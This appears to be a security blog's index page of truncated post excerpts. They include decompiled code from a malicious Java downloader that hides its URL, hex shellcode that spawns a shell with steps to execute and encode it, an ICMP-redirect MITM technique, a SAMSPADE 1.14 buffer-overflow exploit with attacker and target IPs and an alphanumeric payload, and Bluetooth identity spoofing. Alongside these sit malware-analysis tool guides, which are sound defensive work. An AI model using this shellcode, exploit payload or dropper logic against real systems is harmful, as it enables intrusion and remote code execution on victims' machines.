aLt's Security Blog

 If recently  you have received a message like the one shown below, lol and zip attached with it then please do not try to open the jar file inside it. So what this jar file contains?? Its a code that downloads the dynamic loadable library from internet and install it in system.Lets have a look at the source code of jar file which i decompiled . import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.PrintStream; import java.net.HttpURLConnection; import java.net.URI; import java.net.URL; import java.nio.file.CopyOption; import java.nio.file.Files; import java.nio.file.Paths; public class IMG_00111 {   public static String XJJXMWJJQDBIAEHVEBZ()   {     int[] arrayOfInt = { 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47 };          StringBuilder loc...

Writing Alphanumeric Shellcode Step1: First we will write assembly program to spawn a shell: Objdump of shellcode.s  SHELLCODE "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" Step2:  Now lets test this hex shellcode using a C program: C program to execute shellcode directly Shellcode Execution Step3: Convert instruction opcodes from hex to ascii using table given below: ASCII Shellcode Table ASCII Value Hex Opcode Assembly Equivalent 0 \x30 xor 1 \x31 xor 2 \x32 xor 3 \x33 xor 4 \x34 xor al, 0x## [byte] 5 \x35 xor eax, 0x######## [DWORD] 6 \x36 SS Segment Override 7 \x37 aaa 8 \x38 cmp 9 \x39 cmp  : \x3a cmp  ; \x3b cmp < \x3c cmp al, 0x## [byte] = \x3d cmp eax, 0x######## [DWORD] > \x3e [undocced nop]  ? \x3f aas @ \x40 inc eax A \x41 inc ecx B \x42 inc edx C \x43 inc ebx D \x44 inc esp E \x45 inc ebp F \x46 inc es...

Well you have heard of arp poisoning and dns cache poisoning,this attack is quite similar but require alot of knowledge to perform it correctly. So what we will do, we use icmp redirect host packet to add a fake routing entry in victim machine to do MITM(Man In The Middle) or DOS(Denial Of service) or DNS Poisoning.Yes that's the beauty, all three can be done using this attack. Redirect requests data packets be sent on an alternative route. ICMP Redirect is a mechanism for routers to convey routing information to hosts. The message informs a host to update its routing information (to send packets on an alternative route). If a host tries to send data through a router (R1) and R1 sends the data on another router (R2) and a direct path from the host to R2 is available (that is, the host and R2 are on the same Ethernet segment), then R1 will send a redirect message to inform the host that the best route for the destination is via R2. The host should then send packets for the desti...

# Exploit Title: SAMSPADE 1.14 BUFFER OVERFLOW # Date: 10-12-2013 # Exploit Author: VISHAL MISHRA & NIDHI VERMA # Vendor Homepage: http://www.samspade.org/ # Software Link: http://www.majorgeeks.com/mg/getmirror/sam_spade,1.html # Version: 1.1.4 (beta) # Tested on: WINDOWS XP(sp2) TARGET: windows xp(sp2) ip:192.168.117.129 ATTACKER: backtrack     ip:192.168.117.131      PORT:443 Payload: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj4?wTYIITYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ...

Step1 : $hciconfig Like ifconfig and iwconfig for bluetooth we have hciconfig that enumerate bluetooth interfaces in an system with a little info about that card like MAC,MTU and interface name. hciconfig Step2 : $hciconfig -a hci0 So now we known we have a bluetooth interface card hci0.It may be anyone hci0,hci1 etc. Now as you can see below in the output that this bluetooth device is using OS name as its name own name. We will change this info so that some person might not enumerate any info about our bluetooth device.                                                Class is a 24 bit or 6 hex number based identity for bluetooth devices. Class entity defines that bluetooth device is of which hardware class i.e 1) 0x78020c is class of Phone/Smart phone, 2) 0x6e0100 is class of computer etc. Now will try to change this default class and name of our bluetooth...

+------------------------------------------+ |           OfficeMalScanner v0.61         | |  Frank Boldewin / www.reconstructer.org  | +------------------------------------------+ Usage: -------- OfficeMalScanner <PPT, DOC or XLS file> <scan | info> <brute> <debug> Options: scan    - scan for several shellcode heuristics and encrypted PE-Files info    - dumps OLE structures, offsets+length and saves found VB-Macro code inflate - decompresses Ms Office 2007 documents, e.g. docx, into a temp dir Switches: (only enabled if option "scan" was selected) brute - enables the "brute force mode" to find encrypted stuff debug - prints out disassembly resp hexoutput if a heuristic was found If you use ubuntu with wine on it then type following command in terminal "wine cmd.exe" to reach a window prompt from where you can run OfficeMalScanner OfficeMalScanner Output Offic...

INSTALLATION: Required Dependencies(all these dependencies are present in jsunpack-n package in a folder named depend): 1) Build and install pynids (nids) from ./depends/pynids-0.6.1.tar.gz To compile pynids, you may need the following (ubuntu) packages: libpcap-dev pkg-config python-dev libgtk2.0-dev libnet1-dev         To install these package either use software center or command apt-get install PackageName     $ cd depends     $ tar xvfz pynids-0.6.1.tar.gz $ cd pynids-0.6.1/ directory $ python setup.py build $ sudo python setup.py install 2) Build SpiderMonkey 'js' from ./depends/js-1.8.0-rc1-src.tar.gz     This package has modifications to the spidermonkey source code; therefore, it is not recommended you use default smjs packages. (Details of the modifications are in INSTALL.spidermonkey.shellcode and INSTALL.spidermonkey, for historical purposes)     $ cd depends/     $ tar xvfz ...